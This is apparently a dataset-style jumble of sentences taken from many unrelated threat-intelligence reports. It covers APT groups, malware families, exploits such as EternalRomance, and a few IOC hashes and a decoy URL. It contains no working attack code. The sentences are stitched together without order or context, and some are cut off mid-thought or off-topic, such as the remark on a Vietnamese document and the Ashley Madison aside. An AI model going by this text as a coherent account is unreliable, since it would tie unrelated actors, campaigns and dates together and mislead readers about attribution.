IOCS Hashes 139edb1bc033725539b117f50786f3d3362ed45845c57fe1f82e7ed72b044367 e19823a1ba4a0e40cf459f4a0489fc257720cc0d71ecfb7ad94b3ca86fbd85d1 e19823a1ba4a0e40cf459f4a0489fc257720cc0d71ecfb7ad94b3ca86fbd85d1 e5f346d8f312cc1f93c2c6af611e2f50805c528934786ea173cabc6a39b14cda This document , written in Vietnamese , appears to be reviewing and discussing best practices for teaching and researching scientific topics . APT12 . Both of these campaigns use a similar structure with compromised WordPress sites hosting the lure shortcuts and a WebDav server that loads NetSupport RAT .


The MiniDuke toolset consists of multiple downloader and backdoor components , which are commonly referred to as the MiniDuke “ stage 1 ” , “ stage 2 ” , and “ stage 3 ” components as per Kaspersky ’s original MiniDuke whitepaper .


Since releasing our 2014 report , we continue to assess that APT28 is sponsored by the Russian Government .


Threat actors used different websites to host different payloads at different times . On January 8 , 2018 , Unit 42 observed the OilRig threat group carry out an attack on an insurance agency based in the Middle East . In the three documents , an additional Office document containing a Macro is downloaded and executed . Based on these findings , CrowdStrike assesses it is highly likely that the OWA technique employed is in fact tied to CVE-2022 - 41080 .


The json format is typically { “mth ” :


And this just means attackers will continue to be successful . Machete is interested in files that describe navigation routes and positioning using military grids . In early 2014 , the APT38 deployed NESTEGG ( a backdoor ) and KEYLIME ( a keylogger ) malware designed to impact financial institution-specific systems at a Southeast Asian bank .


Another lull in November 2016 saw the complete absence of Locky and Dridex , while high-volume campaigns reappeared in December , albeit at lower volumes than during the Q3 2016 peak .


Most of the Equation Group 's targets have been in Iran , Russia , Pakistan , Afghanistan , India , Syria , and Mali . However , some phishing emails were sent to bank employees in more than 25 countries of Central and Western Europe , Africa and Asia including : Kyrgyzstan , Armenia , Georgia , Serbia , Germany , Latvia , Czech Republic , Romania , Kenya , Israel , Cyprus , Greece , Turkey , Taiwan , Malaysia , Switzerland , Vietnam , Austria , Uzbekistan , Great Britain , Hong Kong , and others .


Keylogger log location : Users\hJTQwqwwSCkZU\AppData\Roaming\GoogleDesktop\<date> .


The phone number is fetched from a response from the C & C server and is stored in str3 variable , which further is utilized using the tel : function . Buckeye's exploit tool , EternalRomance , as well as EternalSynergy , can exploit the CVE-2017-0143 message type confusion vulnerability to perform memory corruption on unpatched victim computers . The group has been active since at least 2010 and has targeted organizations in the aerospace , government , defense , technology energy , and manufacturing sectors .


This activity ceased in February 2016 , likely because the men who made up Scattered Canary began to focus on honing their BEC skills . DoublePulsar is then used to inject a secondary payload , which runs in memory only .


While details would vary , all of the identified copies of this spyware shared a similar disguise . The payload embedded within the ISMInjector sample delivered in this attack is a variant of the ISMAgent backdoor that we had discussed in detail in our blog discussing a targeted attack on a Saudi Arabian technology company . Finally , the RAT is able to download files encoded in base64 on Google Drive . [ As the documentary points out , the domain AshleyMadisonSucks.com was eventually transferred to Ashley Madison , which then shrewdly used it for advertising and to help debunk theories about why its service was supposedly untrustworthy ] .


Hunter queried the following URIs in a specific order to determine if the associated software configurations are insecure .


As part of our investigation into this malware , we emulated an infected Android device in order to communicate with the RuMMS C2 server . Unlike many activity groups , which typically gather information for monetary gain or economic espionage , PROMETHIUM and NEODYMIUM appear to launch campaigns simply to gather information about certain individuals . The dropped sample is an SFX archive , like the tradition of Gamaredon implants . Last month , NoEscape posted 7 victims on their leak site .


Xpert RAT reportedly first appeared in 2011 . Bellingcat also reported the domain had been used previously to host potential decoy documents as detailed in VirusTotal here using http://voguextra.com/decoy.doc .


Network Security appliances such as Next-Generation Firewall ( NGFW ) , Next-Generation Intrusion Prevention System ( NGIPS ) , and Meraki MX can detect malicious activity associated with this threat . Cisco Talos assesses with moderate confidence that a campaign we recently discovered called " BlackWater " is associated with suspected persistent threat actor MuddyWater . MOF files are compiled scripts that describe Common Information Model ( CIM ) classes , which are compiled into the WMI repository . Given that threat actors use red team tools and public exploitation frameworks for targeted threat activity in the wild , we believe COSMICENERGY poses a plausible threat to affected electric grid assets .


After connecting to its C2 server , RCSession checks in with an encrypted beacon and then awaits instruction .


While the counterfeit games claim to provide similar functionality to the popular apps , they are simply used to display ads through a custom advertisement SDK . To conduct targeted attacks , MoneyTaker use a distributed infrastructure that is difficult to track . Table 2 lists the ELMER backdoors observed during the December campaigns . Our recent reporting states that these operations are very likely aimed at stealing information and gaining persistent remote access .


It reinforces the need for comprehensive defense powered by broad visibility into attack surfaces as well as domain experts who track the threat landscape and uncover notable threats that might be hiding amidst massive threat data and signals . it is a typical first stage backdoor commonly found in APT attacks . This provides researchers and analyst broad tool to attack this type of obfuscation , We note that the MicroSCADA control system became a Hitachi Energy product in 2022 after a divestiture from ABB .


Royal Mail - British postal service and courier company . Based on this information , it is possible that upon the exposure of the Nasr Institute as a front for Iranian state-sponsored offensive cyber activity , employees transitioned over to other entities , such as Kavosh , to protect their identities and minimize further exposure . In one remarkable case , the Carbanak 2.0 gang used its access to a financial institution that stores information about shareholders to change the ownership details of a large company .


PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat . However , to increase success rates APT20 can use zero-day exploits , so even a properly patched system would be compromised .


On top of our analysis of recent trends , M-Trends 2017 contains insights from our FireEye as a Service (FaaS) teams for the second consecutive year . APT33 sent spear phishing emails to employees whose jobs related to the aviation industry .


Several of the main components of RuMMS are shown in Figure 2 . In these websites they hosted malware that was digitally signed with a valid , likely stolen code signing certificate . As visible in the previous ﬁgure , the only difference between the ﬁles are in the variable , registry key and path used by Word rather than by Excel . All of these things point to threat actors and groups like Winnti will continue to try different methods of attack .


Here is an approximate diagram of the opcode data structure : Figure 5 . The Lotus Blossom actors using Emissary have been active for at least seven years in Southeast Asia . If for a particular reason you need them , reach out to us at threatintel@eset.com . Also , ideology as a motivator could mean your group is the target of nation states .